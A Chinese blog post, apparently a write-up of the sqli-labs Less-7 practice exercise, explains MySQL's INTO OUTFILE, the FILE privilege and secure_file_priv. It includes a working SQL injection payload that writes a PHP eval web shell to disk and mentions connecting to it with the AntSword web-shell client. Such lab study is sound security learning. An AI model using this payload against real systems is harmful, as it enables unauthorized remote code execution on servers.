sqli-labs-Less7-关于outfile

这题学习了关于SQL注入中outfile的姿势。
语句是这样:

SELECT.....INTO OUTFILE 'file_name'

必须 拥有FILE权限,才能使用此语法。还有file_name 不能是一个已经存在的文件。
这样就可以把select的内容写进文件中。

在进行之前还要看看一个东西,就是secure_file_priv。因为Mysql数据库需要在指定的目录下进行数据的导出,而这个指定的目录就是由这个参数设置的。

  1. 如果这个参数为空,这个变量没有效果。
  2. 如果这个参数设为一个目录名,Mysql服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它.
  3. 如果这个参数为null,Mysql服务会禁止导入和导出操作。这个参数在MySQL 5.7.6版本引入。

我们可以执行这个SQL语句来查看:

SHOW VARIABLES LIKE "secure_file_priv";

在这里插入图片描述
其实一开始我的这个是null,后来改了。还有一点要注意,就是只允许在这个目录下的文件进行导出,子目录都不行。
设置好之后就可以进行导出了。这里使用的是一句话木马:

?id=1' )) union select 1,2,'<?php eval($_POST["cmd"]);?>' into outfile "D:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\data\\1.txt"    -- -

这样虽然会报错,但是data目录下就会有1.txt文件了。注意,需要双写\来转义。如果还是不出现1.txt,再检查一下自己的目录是否有问题,语句写的是否正确。
在这里插入图片描述
这样就把一句话放到了文件了。因为这题是在本地,所以你其实那个secure_file_priv最好设在网页的目录那里,这样就可以连蚁剑了。

又或者不这样,而是按照常规的union注入来得到数据库,表,字段,和具体的值,但是要把这些outfile到文件里,这样就相当于有回显了。这里就不展示了。

在做这题看WP的时候,又看到了一些自己不知道的知识点,具体可以参考下面的文章:
Sqli-Labs:Less7
SQLI-LABS修炼笔记(三)

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/108743881
今日推荐